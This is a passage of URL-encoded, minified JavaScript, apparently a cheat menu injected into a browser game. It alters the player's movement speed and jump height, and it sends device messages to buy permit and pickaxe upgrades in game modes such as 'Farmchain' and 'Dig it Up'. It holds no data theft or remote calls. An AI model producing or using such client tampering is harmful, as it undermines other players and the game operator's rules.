)%2Cpe(u%2Ce%2Ct)%2CE(e%2Cf%2Ct)%2Cpe(d%2Ce%2Ct)%2CE(e%2Ch%2Ct)%2Cpe(p%2Ce%2Ct)%2CE(e%2Cg%2Ct)%2Cpe(m%2Ce%2Ct)%2C%24%3D!0%7D%2Cp%3Ae%2Ci(e)%7B%24%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Cle(c.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cle(d.%24%24.fragment%2Ce)%2Cle(p.%24%24.fragment%2Ce)%2Cle(m.%24%24.fragment%2Ce)%2C%24%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Cue(c.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cue(d.%24%24.fragment%2Ce)%2Cue(p.%24%24.fragment%2Ce)%2Cue(m.%24%24.fragment%2Ce)%2C%24%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i)%2C_(a)%2C_(l)%2C_(f)%2C_(h)%2C_(g))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%2Cge(c%2Ce)%2Cge(u%2Ce)%2Cge(d%2Ce)%2Cge(p%2Ce)%2Cge(m%2Ce)%7D%7D%7Dfunction%20So(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%3Breturn%20t%3Dnew%20To(%7B%7D)%2Cr%3Dnew%20Oo(%7B%7D)%2Ci%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Purchase%20Seeds%22%2C%24%24slots%3A%7Bdefault%3A%5BCo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ca%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Unlock%20Seeds%22%2C%24%24slots%3A%7Bdefault%3A%5BRo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%2Co%3DT()%2Che(i.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%7D%2Cm(e%2Cl)%7Bpe(t%2Ce%2Cl)%2CE(e%2Cn%2Cl)%2Cpe(r%2Ce%2Cl)%2CE(e%2Co%2Cl)%2Cpe(i%2Ce%2Cl)%2CE(e%2Cs%2Cl)%2Cpe(a%2Ce%2Cl)%2Cc%3D!0%7D%2Cp(e%2Ct)%7Bconst%20n%3D%7B%7D%3B1%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Ci.%24set(n)%3Bconst%20r%3D%7B%7D%3B1%26t%26%26(r.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Ca.%24set(r)%7D%2Ci(e)%7Bc%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Cle(i.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cc%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Cue(i.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cc%3D!1%7D%2Cd(e)%7Be%26%26(_(n)%2C_(o)%2C_(s))%2Cge(t%2Ce)%2Cge(r%2Ce)%2Cge(i%2Ce)%2Cge(a%2Ce)%7D%7D%7Dfunction%20Po(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Farmchain%22%2C%24%24slots%3A%7Bdefault%3A%5BSo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20Mo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2CPo%2Ci%2C%7B%7D)%7D%7Dlet%20No%3DAe(null)%3Bfunction%20Do(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Bfunction%20h(t)%7Be%5B11%5D(t)%7Dlet%20p%3D%7Btitle%3A%22Speedup%20Amount%22%2Cmin%3A1%2Cmax%3Ae%5B6%5D%2Cstep%3A.005%7D%3Bfunction%20g(t)%7Be%5B12%5D(t)%7Dvoid%200!%3D%3De%5B0%5D%26%26(p.value%3De%5B0%5D)%2Ct%3Dnew%20vr(%7Bprops%3Ap%7D)%2CG.push((()%3D%3Ede(t%2C%22value%22%2Ch)))%2Ct.%24on(%22input%22%2Ce%5B8%5D)%3Blet%20m%3D%7Bdisabled%3A!e%5B5%5D%2ConText%3A%22Speedup%3A%20On%22%2CoffText%3A%22Speedup%3A%20Off%22%2ChotkeyId%3A%22speedup%22%7D%3Bfunction%20%24(t)%7Be%5B14%5D(t)%7Dvoid%200!%3D%3De%5B1%5D%26%26(m.enabled%3De%5B1%5D)%2Co%3Dnew%20hn(%7Bprops%3Am%7D)%2CG.push((()%3D%3Ede(o%2C%22enabled%22%2Cg)))%2Co.%24on(%22click%22%2Ce%5B13%5D)%3Blet%20y%3D%7Btitle%3A%22Jump%20Boost%20Amount%22%2Cmin%3A1%2Cmax%3Ae%5B6%5D%2Cstep%3A.005%7D%3Bfunction%20v(t)%7Be%5B15%5D(t)%7Dvoid%200!%3D%3De%5B3%5D%26%26(y.value%3De%5B3%5D)%2Ca%3Dnew%20vr(%7Bprops%3Ay%7D)%2CG.push((()%3D%3Ede(a%2C%22value%22%2C%24)))%2Ca.%24on(%22input%22%2Ce%5B10%5D)%3Blet%20b%3D%7Bdisabled%3A!e%5B4%5D%2ConText%3A%22Jump%20Boost%3A%20On%22%2CoffText%3A%22Jump%20Boost%3A%20Off%22%2ChotkeyId%3A%22jumpboost%22%7D%3Breturn%20void%200!%3D%3De%5B2%5D%26%26(b.enabled%3De%5B2%5D)%2Cu%3Dnew%20hn(%7Bprops%3Ab%7D)%2CG.push((()%3D%3Ede(u%2C%22enabled%22%2Cv)))%2Cu.%24on(%22click%22%2Ce%5B16%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%2Cl%3DT()%2Che(u.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2CE(e%2Cr%2Cn)%2Cpe(o%2Ce%2Cn)%2CE(e%2Cs%2Cn)%2Cpe(a%2Ce%2Cn)%2CE(e%2Cl%2Cn)%2Cpe(u%2Ce%2Cn)%2Cd%3D!0%7D%2Cp(e%2Cr)%7Bconst%20s%3D%7B%7D%3B!n%26%261%26r%26%26(n%3D!0%2Cs.value%3De%5B0%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(s)%3Bconst%20l%3D%7B%7D%3B32%26r%26%26(l.disabled%3D!e%5B5%5D)%2C!i%26%262%26r%26%26(i%3D!0%2Cl.enabled%3De%5B1%5D%2Cee((()%3D%3Ei%3D!1)))%2Co.%24set(l)%3Bconst%20d%3D%7B%7D%3B!c%26%268%26r%26%26(c%3D!0%2Cd.value%3De%5B3%5D%2Cee((()%3D%3Ec%3D!1)))%2Ca.%24set(d)%3Bconst%20h%3D%7B%7D%3B16%26r%26%26(h.disabled%3D!e%5B4%5D)%2C!f%26%264%26r%26%26(f%3D!0%2Ch.enabled%3De%5B2%5D%2Cee((()%3D%3Ef%3D!1)))%2Cu.%24set(h)%7D%2Ci(e)%7Bd%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cd%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cd%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(s)%2C_(l))%2Cge(t%2Ce)%2Cge(o%2Ce)%2Cge(a%2Ce)%2Cge(u%2Ce)%7D%7D%7Dfunction%20Lo(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Movement%22%2C%24%24slots%3A%7Bdefault%3A%5BDo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B2097215%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20qo(e%2Ct%2Cn)%7Blet%20r%2Co%3Bc(e%2CNo%2C(e%3D%3En(4%2Cr%3De)))%2Cc(e%2Clt%2C(e%3D%3En(5%2Co%3De)))%3Blet%20i%2Cs%3D1%2Ca%3D-1%2Cl%3D!1%3Bfunction%20u(e)%7Bif(!He()%3F.stores%3F.me)return%3Bif(%22platformer%22%3D%3DHe().stores.session.mapStyle)if(e)%7Blet%20e%3Da*s%3Bi%3De%2Cp(No%2Cr.platformerGroundSpeed%3De%2Cr)%7Delse%20p(No%2Cr.platformerGroundSpeed%3Da%2Cr)%3Belse%20if(e)%7Blet%20e%3Da*s%3Bi%3De%2CHe().stores.me.movementSpeed%3De%7Delse%20He().stores.me.movementSpeed%3Da%7DsetInterval((function()%7Bif(!He()%3F.stores%3F.me)return%3Blet%20e%3DHe().stores.session.mapStyle%3Bif(!e)return%3Bif(%22platformer%22%3D%3De)%7Blet%20e%3Dr.platformerGroundSpeed%3Be!%3D%3Di%26%26(a%3De%2Cl%26%26u(!0))%7Delse%7Blet%20e%3DHe().stores.me.movementSpeed%3Be!%3D%3Di%26%26(a%3De%2Cl%26%26u(!0))%7D%7D)%2C500)%3Blet%20f%3D!1%2Cd%3D1%2Ch%3D-1%3Bfunction%20g(e)%7Bif(-1%3D%3Dh%26%26(h%3Dr.jump.height)%2Ce)%7Blet%20e%3Dh*d%3Bp(No%2Cr.jump.height%3De%2Cr)%7Delse%20p(No%2Cr.jump.height%3Dh%2Cr)%7Dreturn%5Bs%2Cl%2Cf%2Cd%2Cr%2Co%2C490%2F357%2Cu%2Cfunction(e)%7Bif(n(0%2Cs%3De.detail)%2C!He()%3F.stores%3F.me%7C%7C!l)return%3Blet%20t%3DHe().stores.session.mapStyle%3Bif(!t)return%3Blet%20o%3Da*e.detail%3Bi%3Do%2C%22platformer%22%3D%3Dt%3Fp(No%2Cr.platformerGroundSpeed%3Do%2Cr)%3AHe().stores.me.movementSpeed%3Do%7D%2Cg%2Cfunction(e)%7Bif(n(3%2Cd%3De.detail)%2C!f%7C%7C!r)return%3B-1%3D%3Dh%26%26(h%3Dr.jump.height)%3Blet%20t%3Dh*e.detail%3Bp(No%2Cr.jump.height%3Dt%2Cr)%7D%2Cfunction(e)%7Bs%3De%2Cn(0%2Cs)%7D%2Cfunction(e)%7Bl%3De%2Cn(1%2Cl)%7D%2Ce%3D%3Eu(e.detail)%2Cfunction(e)%7Bd%3De%2Cn(3%2Cd)%7D%2Cfunction(e)%7Bf%3De%2Cn(2%2Cf)%7D%2Ce%3D%3Eg(e.detail)%5D%7Dclass%20Uo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cqo%2CLo%2Ci%2C%7B%7D)%7D%7Dfunction%20jo(e)%7Bx(e%2C%22svelte-1a7yjpn%22%2C%22.notLoaded.svelte-1a7yjpn%7Bwidth%3A100%25%3Btext-align%3Acenter%7D%22)%7Dfunction%20Bo(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B9%5D%3Dt%5Bn%5D%2Cr%7Dfunction%20Ho(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B9%5D%3Dt%5Bn%5D%2Cr%7Dfunction%20zo(e)%7Blet%20t%2Cn%2Cr%3Dfe(e%5B0%5D)%2Co%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3Cr.length%3Bt%2B%3D1)o%5Bt%5D%3DWo(Ho(e%2Cr%2Ct))%3Bconst%20i%3De%3D%3Eue(o%5Be%5D%2C1%2C1%2C(()%3D%3E%7Bo%5Be%5D%3Dnull%7D))%3Breturn%7Bc()%7Bfor(let%20e%3D0%3Be%3Co.length%3Be%2B%3D1)o%5Be%5D.c()%3Bt%3DC()%7D%2Cm(e%2Cr)%7Bfor(let%20t%3D0%3Bt%3Co.length%3Bt%2B%3D1)o%5Bt%5D%26%26o%5Bt%5D.m(e%2Cr)%3BE(e%2Ct%2Cr)%2Cn%3D!0%7D%2Cp(e%2Cn)%7Bif(9%26n)%7Blet%20s%3Bfor(r%3Dfe(e%5B0%5D)%2Cs%3D0%3Bs%3Cr.length%3Bs%2B%3D1)%7Bconst%20i%3DHo(e%2Cr%2Cs)%3Bo%5Bs%5D%3F(o%5Bs%5D.p(i%2Cn)%2Cle(o%5Bs%5D%2C1))%3A(o%5Bs%5D%3DWo(i)%2Co%5Bs%5D.c()%2Cle(o%5Bs%5D%2C1)%2Co%5Bs%5D.m(t.parentNode%2Ct))%7Dfor(ae()%2Cs%3Dr.length%3Bs%3Co.length%3Bs%2B%3D1)i(s)%3Bce()%7D%7D%2Ci(e)%7Bif(!n)%7Bfor(let%20e%3D0%3Be%3Cr.length%3Be%2B%3D1)le(o%5Be%5D)%3Bn%3D!0%7D%7D%2Co(e)%7Bo%3Do.filter(Boolean)%3Bfor(let%20e%3D0%3Be%3Co.length%3Be%2B%3D1)ue(o%5Be%5D)%3Bn%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2CA(o%2Ce)%7D%7D%7Dfunction%20Vo(e)%7Blet%20t%2Cn%2Cr%2Co%3Breturn%20r%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BJo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Cr.%24on(%22click%22%2Ce%5B2%5D)%2C%7Bc()%7Bt%3DO(%22div%22)%2Ct.textContent%3D%22Permits%20haven't%20loaded%20in%20yet%22%2Cn%3DT()%2Che(r.%24%24.fragment)%2CM(t%2C%22class%22%2C%22notLoaded%20svelte-1a7yjpn%22)%7D%2Cm(e%2Ci)%7BE(e%2Ct%2Ci)%2CE(e%2Cn%2Ci)%2Cpe(r%2Ce%2Ci)%2Co%3D!0%7D%2Cp(e%2Ct)%7Bconst%20n%3D%7B%7D%3B16384%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Cr.%24set(n)%7D%2Ci(e)%7Bo%7C%7C(le(r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%2Cge(r%2Ce)%7D%7D%7Dfunction%20Fo(e)%7Blet%20t%2Cn%2Cr%3De%5B9%5D.options.text%2B%22%22%3Breturn%7Bc()%7Bt%3Dk(r)%2Cn%3DT()%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2CE(e%2Cn%2Cr)%7D%2Cp(e%2Cn)%7B1%26n%26%26r!%3D%3D(r%3De%5B9%5D.options.text%2B%22%22)%26%26D(t%2Cr)%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%7D%7D%7Dfunction%20Wo(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BFo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2C(function()%7Breturn%20e%5B5%5D(e%5B9%5D)%7D))%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(n%2Cr)%7Be%3Dn%3Bconst%20o%3D%7B%7D%3B16385%26r%26%26(o.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Ct.%24set(o)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Jo(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Retry%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Go(e)%7Blet%20t%2Cn%2Cr%2Co%3Bconst%20i%3D%5BVo%2Czo%5D%2Cs%3D%5B%5D%3Bfunction%20a(e%2Ct)%7Breturn%200%3D%3De%5B0%5D.length%3F0%3A1%7Dreturn%20t%3Da(e)%2Cn%3Ds%5Bt%5D%3Di%5Bt%5D(e)%2C%7Bc()%7Bn.c()%2Cr%3DC()%7D%2Cm(e%2Cn)%7Bs%5Bt%5D.m(e%2Cn)%2CE(e%2Cr%2Cn)%2Co%3D!0%7D%2Cp(e%2Co)%7Blet%20c%3Dt%3Bt%3Da(e)%2Ct%3D%3D%3Dc%3Fs%5Bt%5D.p(e%2Co)%3A(ae()%2Cue(s%5Bc%5D%2C1%2C1%2C(()%3D%3E%7Bs%5Bc%5D%3Dnull%7D))%2Cce()%2Cn%3Ds%5Bt%5D%2Cn%3Fn.p(e%2Co)%3A(n%3Ds%5Bt%5D%3Di%5Bt%5D(e)%2Cn.c())%2Cle(n%2C1)%2Cn.m(r.parentNode%2Cr))%7D%2Ci(e)%7Bo%7C%7C(le(n)%2Co%3D!0)%7D%2Co(e)%7Bue(n)%2Co%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cs%5Bt%5D.d(e)%7D%7D%7Dfunction%20Ko(e)%7Blet%20t%2Cn%2Cr%3Dfe(e%5B1%5D)%2Co%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3Cr.length%3Bt%2B%3D1)o%5Bt%5D%3DYo(Bo(e%2Cr%2Ct))%3Bconst%20i%3De%3D%3Eue(o%5Be%5D%2C1%2C1%2C(()%3D%3E%7Bo%5Be%5D%3Dnull%7D))%3Breturn%7Bc()%7Bfor(let%20e%3D0%3Be%3Co.length%3Be%2B%3D1)o%5Be%5D.c()%3Bt%3DC()%7D%2Cm(e%2Cr)%7Bfor(let%20t%3D0%3Bt%3Co.length%3Bt%2B%3D1)o%5Bt%5D%26%26o%5Bt%5D.m(e%2Cr)%3BE(e%2Ct%2Cr)%2Cn%3D!0%7D%2Cp(e%2Cn)%7Bif(18%26n)%7Blet%20s%3Bfor(r%3Dfe(e%5B1%5D)%2Cs%3D0%3Bs%3Cr.length%3Bs%2B%3D1)%7Bconst%20i%3DBo(e%2Cr%2Cs)%3Bo%5Bs%5D%3F(o%5Bs%5D.p(i%2Cn)%2Cle(o%5Bs%5D%2C1))%3A(o%5Bs%5D%3DYo(i)%2Co%5Bs%5D.c()%2Cle(o%5Bs%5D%2C1)%2Co%5Bs%5D.m(t.parentNode%2Ct))%7Dfor(ae()%2Cs%3Dr.length%3Bs%3Co.length%3Bs%2B%3D1)i(s)%3Bce()%7D%7D%2Ci(e)%7Bif(!n)%7Bfor(let%20e%3D0%3Be%3Cr.length%3Be%2B%3D1)le(o%5Be%5D)%3Bn%3D!0%7D%7D%2Co(e)%7Bo%3Do.filter(Boolean)%3Bfor(let%20e%3D0%3Be%3Co.length%3Be%2B%3D1)ue(o%5Be%5D)%3Bn%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2CA(o%2Ce)%7D%7D%7Dfunction%20Qo(e)%7Blet%20t%2Cn%2Cr%2Co%3Breturn%20r%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BZo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Cr.%24on(%22click%22%2Ce%5B2%5D)%2C%7Bc()%7Bt%3DO(%22div%22)%2Ct.textContent%3D%22Pickaxes%20haven't%20loaded%20in%20yet%22%2Cn%3DT()%2Che(r.%24%24.fragment)%2CM(t%2C%22class%22%2C%22notLoaded%20svelte-1a7yjpn%22)%7D%2Cm(e%2Ci)%7BE(e%2Ct%2Ci)%2CE(e%2Cn%2Ci)%2Cpe(r%2Ce%2Ci)%2Co%3D!0%7D%2Cp(e%2Ct)%7Bconst%20n%3D%7B%7D%3B16384%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Cr.%24set(n)%7D%2Ci(e)%7Bo%7C%7C(le(r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%2Cge(r%2Ce)%7D%7D%7Dfunction%20Xo(e)%7Blet%20t%2Cn%2Cr%3De%5B9%5D.options.text%2B%22%22%3Breturn%7Bc()%7Bt%3Dk(r)%2Cn%3DT()%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2CE(e%2Cn%2Cr)%7D%2Cp(e%2Cn)%7B2%26n%26%26r!%3D%3D(r%3De%5B9%5D.options.text%2B%22%22)%26%26D(t%2Cr)%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%7D%7D%7Dfunction%20Yo(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BXo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2C(function()%7Breturn%20e%5B6%5D(e%5B9%5D)%7D))%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(n%2Cr)%7Be%3Dn%3Bconst%20o%3D%7B%7D%3B16386%26r%26%26(o.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Ct.%24set(o)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Zo(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Retry%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20ei(e)%7Blet%20t%2Cn%2Cr%2Co%3Bconst%20i%3D%5BQo%2CKo%5D%2Cs%3D%5B%5D%3Bfunction%20a(e%2Ct)%7Breturn%200%3D%3De%5B1%5D.length%3F0%3A1%7Dreturn%20t%3Da(e)%2Cn%3Ds%5Bt%5D%3Di%5Bt%5D(e)%2C%7Bc()%7Bn.c()%2Cr%3DC()%7D%2Cm(e%2Cn)%7Bs%5Bt%5D.m(e%2Cn)%2CE(e%2Cr%2Cn)%2Co%3D!0%7D%2Cp(e%2Co)%7Blet%20c%3Dt%3Bt%3Da(e)%2Ct%3D%3D%3Dc%3Fs%5Bt%5D.p(e%2Co)%3A(ae()%2Cue(s%5Bc%5D%2C1%2C1%2C(()%3D%3E%7Bs%5Bc%5D%3Dnull%7D))%2Cce()%2Cn%3Ds%5Bt%5D%2Cn%3Fn.p(e%2Co)%3A(n%3Ds%5Bt%5D%3Di%5Bt%5D(e)%2Cn.c())%2Cle(n%2C1)%2Cn.m(r.parentNode%2Cr))%7D%2Ci(e)%7Bo%7C%7C(le(n)%2Co%3D!0)%7D%2Co(e)%7Bue(n)%2Co%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cs%5Bt%5D.d(e)%7D%7D%7Dfunction%20ti(e)%7Blet%20t%2Cn%2Cr%2Co%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Permits%22%2C%24%24slots%3A%7Bdefault%3A%5BGo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Cr%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Pickaxes%22%2C%24%24slots%3A%7Bdefault%3A%5Bei%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%7D%2Cm(e%2Ci)%7Bpe(t%2Ce%2Ci)%2CE(e%2Cn%2Ci)%2Cpe(r%2Ce%2Ci)%2Co%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20o%3D%7B%7D%3B16385%26n%26%26(o.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(o)%3Bconst%20i%3D%7B%7D%3B16386%26n%26%26(i.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Cr.%24set(i)%7D%2Ci(e)%7Bo%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(e)%7Be%26%26_(n)%2Cge(t%2Ce)%2Cge(r%2Ce)%7D%7D%7Dfunction%20ni(e%2Ct%2Cn)%7Blet%20r%3D%5B%5D%2Co%3Dnull%2Ci%3D%5B%5D%2Cs%3Dnull%3Bconst%20a%3D()%3D%3E%7Blet%20e%3DHe().stores.phaser.scene.worldManager.devices.allDevices%3Bn(0%2Cr%3De.filter((e%3D%3E%22permit%20upgrade%22%3D%3D%3De.options.group)))%2Co%3Dr.find((e%3D%3Ee.options.message))%2Cn(0%2Cr%3Dr.filter((e%3D%3Ee!%3D%3Do)))%2Cn(1%2Ci%3De.filter((e%3D%3E%22pickaxe%20upgrade%22%3D%3D%3De.options.group)))%2Cs%3Di.find((e%3D%3Ee.options.message))%2Cn(1%2Ci%3Di.filter((e%3D%3Ee!%3D%3Ds)))%7D%3Bfunction%20c(e)%7Bat.sendMessage(%22MESSAGE_FOR_DEVICE%22%2C%7Bkey%3A%22action%22%2CdeviceId%3Ao.id%2Cdata%3A%7Baction%3Ae.id%7D%7D)%7Dfunction%20l(e)%7Bat.sendMessage(%22MESSAGE_FOR_DEVICE%22%2C%7Bkey%3A%22action%22%2CdeviceId%3As.id%2Cdata%3A%7Baction%3Ae.id%7D%7D)%7Dft.subscribe((e%3D%3E%7Be%26%26a()%7D))%3Breturn%5Br%2Ci%2Ca%2Cc%2Cl%2Ce%3D%3Ec(e)%2Ce%3D%3El(e)%5D%7Dclass%20ri%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cni%2Cti%2Ci%2C%7B%7D%2Cjo)%7D%7Dfunction%20oi(t)%7Blet%20n%2Cr%2Co%2Ci%3Breturn%20n%3Dnew%20lo(%7Bprops%3A%7Bmessage%3A%22Speedmine%22%2ChotkeyId%3A%22speedMine%22%7D%7D)%2Co%3Dnew%20ri(%7B%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2Ci%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bi%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Ci%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Ci%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cge(n%2Ce)%2Cge(o%2Ce)%7D%7D%7Dfunction%20ii(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Dig%20it%20Up%22%2C%24%24slots%3A%7Bdefault%3A%5Boi%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20si%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2C